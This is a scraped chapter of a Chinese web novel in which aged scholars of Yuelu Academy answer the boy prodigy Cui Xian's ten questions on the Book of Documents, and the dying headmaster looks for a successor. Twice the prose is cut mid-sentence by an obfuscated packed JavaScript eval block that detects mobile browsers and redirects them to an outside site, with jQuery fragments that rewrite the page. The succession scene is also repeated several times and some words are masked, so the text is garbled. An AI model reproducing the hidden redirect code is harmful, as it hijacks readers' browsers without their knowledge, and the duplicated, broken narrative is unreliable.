岳麓书院,自然有义务站出来力挽狂澜,为维护古文经学而战! “桓应先生,请您出山教训那崔岘!” “不**此经贼,我大梁文坛就要完蛋了!” 书院山门外,无数老儒汇聚而来,字字泣血、高声恳求。 这动静实在太惊人。 以至于今日书院根本无法正常授课。 任凭教**先生们如何奋力安抚,都无济于事。 数百年轻学子们先后走出课堂,在院内惊慌窃窃私语。 显然,崔岘的十问《尚书》,同样在岳麓书院内传遍了。 我们多年苦苦学习的《尚书》,难不成……错漏百出? 单是这样一想,无数学子们便有种懵逼的不真实感。 他们尚且没有走出**塔,平生所学,皆来自于师长传道授业解惑。 是以遇到这种问题,大家都下意识找教**先生们求助。 然而,今日岳麓书院大部分教**先生,都诡异的保持了沉默。 因为他们根本答不出那十道题! 如何向学生解惑? 事实上,此时书院里至少有一半、甚至更多教**先生,都正因崔岘而陷入道心崩溃。 教**先生们的集体沉默,让学子们陷入一 定程度的恐慌。 以及到了这个时候大家也终于惊骇意识到崔岘师兄究竟是何等变态的存在! 14岁一人力压全开封老儒! 好在岳麓书院底蕴雄厚。 他们还有一张王牌一位真正的旷世大儒压阵。 此人便是当代岳麓书院山长桓应先生。 山门外无数老儒翘首以盼。 书院内无数学子、教**先生们同样目光灼灼。 在无数殷切目光注视下。 嘎吱—— 最里间的教**屋舍门被推开。 一位头发花白、腰身佝偻的青衣老者慢悠悠走出来。 青衣老者露面的刹那。 书院学子、教**先生纷纷低头行礼尊称‘山长’。 与此同时。 岳麓书院山门轰然大开。 在外汇聚哭嚷的老儒们瞧见了里面那位青衣老先生顿时忘记了哭泣枯老的眼睛里迸射出希冀的光亮。 太好了是桓应先生我们有救了! 更让众人振奋的是。 桓应先生走出来身后还跟着两位老者分别是班临先生、荀彰先生! 这三位老先生都是当世名儒古文经学派的代表人物。 同样也是在崔岘战败陈衝、放话‘二十经皆有漏’之后开封老儒们特地请来**崔岘的恐怖存在! 尤其是桓应先生近十年在外游历许久不曾露面。 如今瞧见这位‘神仙人物’出场谁不激动? 一位岳麓书院的教**先生颤抖着身子躬身行礼震声问出所有人都关心的话题:“山长《尚书》当真如那崔岘所言 迎着无数年轻后辈惘然、希冀的注视。 老山长桓应先生呵呵一笑:“《易》云‘书不尽言’文字岂能尽圣心?” “孟子谓‘尽信《书》不如无《书》’疑者当效马融考伪存真非弃经毁道!” “伏生九十传《书》断简残篇尤彰‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088501|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民惟邦本’之训。诸君且记——圣道在躬行岂因鱼鸟失真光?” 说到这里老先生一甩袖袍悠悠吟诵道: “河图 洛书出洪荒, 岂因鱼鸟失真光? 千载犹闻伏生诵—— 民心即天日昭彰!” 这短短几句话,加上一首打油诗,如春风化雨、返璞归真! 先引经据典,《周易》解文本局限,《孟子》正质疑意义,伏生故事证精神不灭。 接着直击本质:‘圣道在躬行‘破文字执念,‘民心即天’呼应《尚书》真髓。 最后诗偈点睛:末句浓缩《洪范》思想,以‘伏生诵’意象收束全篇。 若崔岘的攻势大开大合。 那么桓应老先生的防守,则是润物细无声,直接回归圣道本源! 这位今年82岁高龄,已经进化到‘究极形态’的老儒,显然已经到了‘看山还是山’的本我境界。 短短几句授业之语,便让在场无数人不再恐慌茫然。 接着。 桓应先生身后。 班临先生走出来,手持三份邸报,笑呵呵道:“那崔岘小友立下了规矩,答出十问者,方可登台同他辩经。” “这,是桓应师叔,老夫,和荀彰师弟三人的答卷。” “你们帮忙,递过去吧。” 哗! 听到这话,不管是岳麓书院的教**先生、学子,还是山门外的老儒们,都激动到热泪盈眶! 太好了! 终于有人能答出崔岘的十问《尚书》了! 我们的《尚书》有救了! 经贼崔岘,莫要猖狂! 自会有人来收拾你! 那三份答卷,被一群老儒们激动护送着,递交去了开封府学外的七尺辩经高台。 大概是受到桓应先生三人鼓舞。 又有六人,先后将答卷,交了上去! 辩经台上,足足有九份答卷! 天呐! 全开封的老儒们一改先前的崩溃绝望,纷纷挺直了腰杆! 包括桓应先生在内,足足九人答出了考题。 这个情况下,至少说明,有九个人,自认为可以战胜崔岘! 因为没有把握的,根本不会答题啊! 一时间。 全开封城的老儒们,再次陷入狂欢。 他们成群结伴,振奋来到辩经台,期待崔岘看完答卷,被上面的内容震慑到脸色苍白、颤抖痛哭流泪。 然而,老儒们注定要失望了。 因为崔岘根本不曾露面。 也懒得看答卷。 他的‘保镖’大山再次华丽登场,一双眼睛瞪的像铜铃,像是捡垃圾般捡起台上那九份答卷—— 不看内容,只朗声道:“我们小东家说了,这十个问题,很难!” “难到碌碌庸才根本不敢回答!” “敢递交答卷者,皆勇气可嘉!无论回答对错,他都愿意给这些勇气可嘉之人一个登台辩论的机会!” “因此,三日之后辰时,这递交答卷的九人——” “可一同登台,获得同他辩论《尚书》的资格!” 211、拳打文坛敬老院(二) 211、拳打文坛敬老院(二) 哗! 听完大山这番话,辩经台下,一帮老儒们气的脸都扭曲了。 世间怎会有如此猖狂之人啊! 但问题是—— 人家崔岘,自有其猖狂的资本在! 十问《尚书》,全开封万千老儒,最后只有九人递交答卷。 你说你不服气? 那你倒是上啊! 读圣贤书大半辈子,到头来,连一个跟人家登台辩论的机会都争取不到。 可笑! 可悲! 因此,哪怕站在台上的大山姿态嚣张跋扈,却愣是没人敢站出来驳斥。 老儒们一怒之下,只能……怒了一下。 见始终无人应声。 本来都做好吵架准备的大山很是遗憾,冷哼一声,带人趾高气扬离去。 直到崔家保镖的身影消失后许久。 人群中。 才有老儒颤声道:“有其善,丧厥善;矜其能,丧厥功。” “傅说警武王:自夸者必失其善,逞能者必毁其功。经贼崔岘,矜才傲物,正如抱薪趋火,安能不焚?!” 这是在借《尚书·说命中》篇,来斥责崔岘。 然而,他们连十问《尚书》中的一问都答不明白。 甚至不敢当着大山的面反驳。 现在这番软绵绵的斥责,实在无半分威慑力可言。 着实有些可笑。 是以那老儒的话,非但没有引来任何附和声,反倒让众人神情越发凄苦、苍白。 因为崔岘,实在太妖孽了! 妖孽的近乎不讲道理! 有老儒追忆往昔,神情畏惧呢喃道:“当年,东莱先生便是这般,以势不可挡之姿,一人力压整个大梁文坛!” “如今他的徒弟,比他当年更年轻,更张扬,更有才情学识。” “若是崔岘最后辩胜了桓应先生……那,后果简直不堪设想。” 听到这话,在场的老儒们集体打了个寒颤。 不可能! 绝对不可能! 桓应先生绝对不会输给一个14岁 的毛头小子! 这是每个老儒嘴上都坚信的‘事实’。 但不知为何,开封城内的氛围,却越来越紧绷,越来越凝滞。 甚至…… 有一股前所未有的恐慌。 而在恐慌之下,是更可怕的汹涌暗潮。 崔岘先拿《毛诗序》开刀,后称二十经皆有漏,如今还未正式出面,十问《尚书》便**全城老儒! 接下来,《尚书》会迎来怎样的挑衅? 经学神圣权威被质疑,阶级**利益被侵犯。 那些藏匿于黑暗中的人,出手了。 数十封信件,如雪花般,先后送去了开封岳麓书院。 “都烧了吧。” 书院教**屋舍内。 老山长桓应先生看着案上那数十封信件,笑呵呵道:“老头子我,都半截身子入土的人咯。” “还哪里有闲工夫,理会他们这些琐碎事儿。” 烧了? 听到这话,班临先生、荀彰先生互相对视,默默将一堆信件丢进了火盆。 这些信件的署名,来头一个比一个惊人,他们写信过来,无非都是同一个目的—— 打探询问桓应先生,是否有把握压制住崔岘。 显然,崔岘近来的表现,让一些人坐不住了。 十几封信件很快便燃烧殆尽。 八月酷夏。 火盆旺盛,屋舍内空气越发黏腻炙热。 在班临先生、荀彰先生担忧的注视下,桓应先生紧了紧身上的棉衣,伸出枯老的手,靠近火盆取暖。 “咳咳咳——” 老先生咳嗽几声,而后从袖中取出一块洁白无瑕的玉圭,随手丢给对面一位头发微白的蓝衣老者:“小季甫,接着。” 这简单一个动作,让教**屋舍内的班临、荀彰、季甫三人神情剧变。 季甫先生手忙脚乱接过那玉圭,提高声音怒道:“您是年纪大了,脑子也不灵光了,要把整个岳麓书院砸在我手里吗?” 这块玉圭,是岳麓书院山长的信物。 代表着山长之传承。 所以季甫先生此话,并非夸张。 见季甫这般恼羞,老山长 闷声笑了片刻,这才戏谑道:“那便砸你手里吧。” “反正……我快**。” 此言一出,满堂俱静。 如今外界只知道,崔岘称二十经有漏,桓应先生受邀回开封,**此经贼。 但其实,十多年不理俗务的老山长,岂会因这点小事出山? 82岁的桓应,已经到了灯尽油枯的时候。 他此次返回开封岳麓书院,并非是为了登台同崔岘辩经,而是…… 老先生想落叶归根,死在岳麓、埋在岳麓。 季甫先生携徒弟,自浙江赶来开封岳麓书院,也是得知老先生即将仙逝,前来送老先生最后一程。 此刻,听完老先生这话,季甫难免心中酸涩。 但,他仍旧撇了撇嘴,将手中那块玉圭还回去,冷哼道:“那又如何?别人不要的东西,我也不要。” 听到这话,桓应先生嘴角一抽。 许多年前。 一位叫做周雍的后生,一袭白衣叩开岳麓书院山门,辩战数百师生无敌手。 山长桓应爱才心切,当场便欲将这块玉圭,赠予周雍。 可惜,周雍嫌弃表示:丑拒。 那周雍都不要,作为他的死对头,季甫自然也不会要。 桓应老先生收回玉圭,看向班临、荀彰。 班临先生惊恐道:“师叔,弟子这些年兢兢业业服侍您!您可不能恩将仇报,硬要把山长这苦差事安置在我头上啊!我还想再多活几年呢!” 荀彰先生讷讷道:“我,我社恐,管不住学生。” 桓应先生:“……” 万万没想到,他死前唯一发愁的,竟是这如烫手山芋般的山长之位,无人继承! 大梁四大书院之首,在文坛拥有举足轻重地位、最具底蕴的古老书院,岳麓书院之传承,现在竟然成了烫手山芋,送都送不出去! 说出去谁敢信? 总不能让岳麓书院日后连个靠谱的山长都寻不到吧! 眼看桓应老先生要发飙。 季甫这才不情愿从怀中取出一沓名为《诗集传》的稿纸,说道:“东莱那老东西,托我递给您的!说是他那徒弟写的。” “那老东西,最近猖狂的很!甚至自称即将要做圣人的老师,真是搞笑。” 哦? 东莱的徒弟? 那个扬言二十经皆有漏,十问《尚书》难倒无数老儒的厉害后生,崔岘? 此话一出,屋舍内的三人都有些好奇。 桓应先生颤巍巍接过那一沓稿纸,眯起眼睛翻阅,而后浑浊苍老的眼睛里,猛然迸射出精光。 他近乎贪婪的汲取着稿纸上的内容,甚至忘却了时间。 眼看桓应先生这般奇怪模样。 班临先生、荀彰先生都如好奇宝宝般凑了过来。 包括季甫先生。 他虽代替东莱转交《诗集传》,可自己都还没来得及看呢! 四个年迈的老头,四双枯老、惊艳、震撼的眼睛,在那沓《诗集传》稿件中沉溺流连,表情如痴如醉、如雷贯耳、如饥似渴、如梦初醒。 八十年如一梦。 原来……这便是‘醍醐灌顶’?! 痛快! 老山长桓应哈哈大笑,眼角浑浊的泪意汹涌:“朝闻道,夕死可矣!” 闷声笑了片刻,这才戏谑道:“那便砸你手里吧。” “反正……我快**。” 此言一出,满堂俱静。 如今外界只知道,崔岘称二十经有漏,桓应先生受邀回开封,**此经贼。 但其实,十多年不理俗务的老山长,岂会因这点小事出山? 82岁的桓应,已经到了灯尽油枯的时候。 他此次返回开封岳麓书院,并非是为了登台同崔岘辩经,而是…… 老先生想落叶归根,死在岳麓、埋在岳麓。 季甫先生携徒弟,自浙江赶来开封岳麓书院,也是得知老先生即将仙逝,前来送老先生最后一程。 此刻,听完老先生这话,季甫难免心中酸涩。 但,他仍旧撇了撇嘴,将手中那块玉圭还回去,冷哼道:“那又如何?别人不要的东西,我也不要。” 听到这话,桓应先生嘴角一抽。 许多年前。 一位叫做周雍的后生,一袭白衣叩开岳麓书院山门,辩战数百师生无敌手。 山长桓应爱才心切,当场便欲将这块玉圭,赠予周雍。 可惜,周雍嫌弃表示:丑拒。 那周雍都不要,作为他的死对头,季甫自然也不会要。 桓应老先生收回玉圭,看向班临、荀彰。 班临先生惊恐道:“师叔,弟子这些年兢兢业业服侍您!您可不能恩将仇报,硬要把山长这苦差事安置在我头上啊!我还想再多活几年呢!” 荀彰先生讷讷道:“我,我社恐,管不住学生。” 桓应先生:“……” 万万没想到,他死前唯一发愁的,竟是这如烫手山芋般的山长之位,无人继承! 大梁四大书院之首,在文坛拥有举足轻重地位、最具底蕴的古老书院,岳麓书院之传承,现在竟然成了烫手山芋,送都送不出去! 说出去谁敢信? 总不能让岳麓书院日后连个靠谱的山长都寻不到吧! 眼看桓应老先生要发飙。 季甫这才不情愿从怀中取出一沓名为《诗集传》的稿纸,说道:“东莱那老东西,托我递给您的!说是他那徒弟写的。” “那老东西,最近猖狂的很!甚至自称即将要做圣人的老师,真是搞笑。” 哦? 东莱的徒弟? 那个扬言二十经皆有漏,十问《尚书》难倒无数老儒的厉害后生,崔岘? 此话一出,屋舍内的三人都有些好奇。 桓应先生颤巍巍接过那一沓稿纸,眯起眼睛翻阅,而后浑浊苍老的眼睛里,猛然迸射出精光。 他近乎贪婪的汲取着稿纸上的内容,甚至忘却了时间。 眼看桓应先生这般奇怪模样。 班临先生、荀彰先生都如好奇宝宝般凑了过来。 包括季甫先生。 他虽代替东莱转交《诗集传》,可自己都还没来得及看呢! 四个年迈的老头,四双枯老、惊艳、震撼的眼睛,在那沓《诗集传》稿件中沉溺流连,表情如痴如醉、如雷贯耳、如饥似渴、如梦初醒。 八十年如一梦。 原来……这便是‘醍醐灌顶’?! 痛快! 老山长桓应哈哈大笑,眼角浑浊的泪意汹涌:“朝闻道,夕死可矣!” 闷声笑了片刻,这才戏谑道:“那便砸你手里吧。” “反正……我快**。” 此言一出,满堂俱静。 如今外界只知道,崔岘称二十经有漏,桓应先生受邀回开封,**此经贼。 但其实,十多年不理俗务的老山长,岂会因这点小事出山? 82岁的桓应,已经到了灯尽油枯的时候。 他此次返回开封岳麓书院,并非是为了登台同崔岘辩经,而是…… 老先生想落叶归根,死在岳麓、埋在岳麓。 季甫先生携徒弟,自浙江赶来开封岳麓书院,也是得知老先生即将仙逝,前来送老先生最后一程。 此刻,听完老先生这话,季甫难免心中酸涩。 但,他仍旧撇了撇嘴,将手中那块玉圭还回去,冷哼道:“那又如何?别人不要的东西,我也不要。” 听到这话,桓应先生嘴角一抽。 许多年前。 一位叫做周雍的后生,一袭白衣叩开岳麓书院山门,辩战数百师生无敌手。 山长桓应爱才心切,当场便欲将这块玉圭,赠予周雍。 可惜,周雍嫌弃表示:丑拒。 那周雍都不要,作为他的死对头,季甫自然也不会要。 桓应老先生收回玉圭,看向班临、荀彰。 班临先生惊恐道:“师叔,弟子这些年兢兢业业服侍您!您可不能恩将仇报,硬要把山长这苦差事安置在我头上啊!我还想再多活几年呢!” 荀彰先生讷讷道:“我,我社恐,管不住学生。” 桓应先生:“……” 万万没想到,他死前唯一发愁的,竟是这如烫手山芋般的山长之位,无人继承! 大梁四大书院之首,在文坛拥有举足轻重地位、最具底蕴的古老书院,岳麓书院之传承,现在竟然成了烫手山芋,送都送不出去! 说出去谁敢信? 总不能让岳麓书院日后连个靠谱的山长都寻不到吧! 眼看桓应老先生要发飙。 季甫这才不情愿从怀中取出一沓名为《诗集传》的稿纸,说道:“东莱那老东西,托我递给您的!说是他那徒弟写的。” “那老东西,最近猖狂的很!甚至自称即将要做圣人的老师,真是搞笑。” 哦? 东莱的徒弟? 那个扬言二十经皆有漏,十问《尚书》难倒无数老儒的厉害后生,崔岘? 此话一出,屋舍内的三人都有些好奇。 桓应先生颤巍巍接过那一沓稿纸,眯起眼睛翻阅,而后浑浊苍老的眼睛里,猛然迸射出精光。 他近乎贪婪的汲取着稿纸上的内容,甚至忘却了时间。 眼看桓应先生这般奇怪模样。 班临先生、荀彰先生都如好奇宝宝般凑了过来。 包括季甫先生。 他虽代替东莱转交《诗集传》,可自己都还没来得及看呢! 四个年迈的老头,四双枯老、惊艳、震撼的眼睛,在那沓《诗集传》稿件中沉溺流连,表情如痴如醉、如雷贯耳、如饥似渴、如梦初醒。 八十年如一梦。 原来……这便是‘醍醐灌顶’?! 痛快! 老山长桓应哈哈大笑,眼角浑浊的泪意汹涌:“朝闻道,夕死可矣!” 闷声笑了片刻,这才戏谑道:“那便砸你手里吧。” “反正……我快**。” 此言一出,满堂俱静。 如今外界只知道,崔岘称二十经有漏,桓应先生受邀回开封,**此经贼。 但其实,十多年不理俗务的老山长,岂会因这点小事出山? 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82岁的桓应,已经到了灯尽油枯的时候。 他此次返回开封岳麓书院,并非是为了登台同崔岘辩经,而是…… 老先生想落叶归根,死在岳麓、埋在岳麓。 季甫先生携徒弟,自浙江赶来开封岳麓书院,也是得知老先生即将仙逝,前来送老先生最后一程。 此刻,听完老先生这话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088502|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季甫难免心中酸涩。 但,他仍旧撇了撇嘴,将手中那块玉圭还回去,冷哼道:“那又如何?别人不要的东西,我也不要。” 听到这话,桓应先生嘴角一抽。 许多年前。 一位叫做周雍的后生,一袭白衣叩开岳麓书院山门,辩战数百师生无敌手。 山长桓应爱才心切,当场便欲将这块玉圭,赠予周雍。 可惜,周雍嫌弃表示:丑拒。 那周雍都不要,作为他的死对头,季甫自然也不会要。 桓应老先生收回玉圭,看向班临、荀彰。 班临先生惊恐道:“师叔,弟子这些年兢兢业业服侍您!您可不能恩将仇报,硬要把山长这苦差事安置在我头上啊!我还想再多活几年呢!” 荀彰先生讷讷道:“我,我社恐,管不住学生。” 桓应先生:“……” 万万没想到,他死前唯一发愁的,竟是这如烫手山芋般的山长之位,无人继承! 大梁四大书院之首,在文坛拥有举足轻重地位、最具底蕴的古老书院,岳麓书院之传承,现在竟然成了烫手山芋,送都送不出去! 说出去谁敢信? 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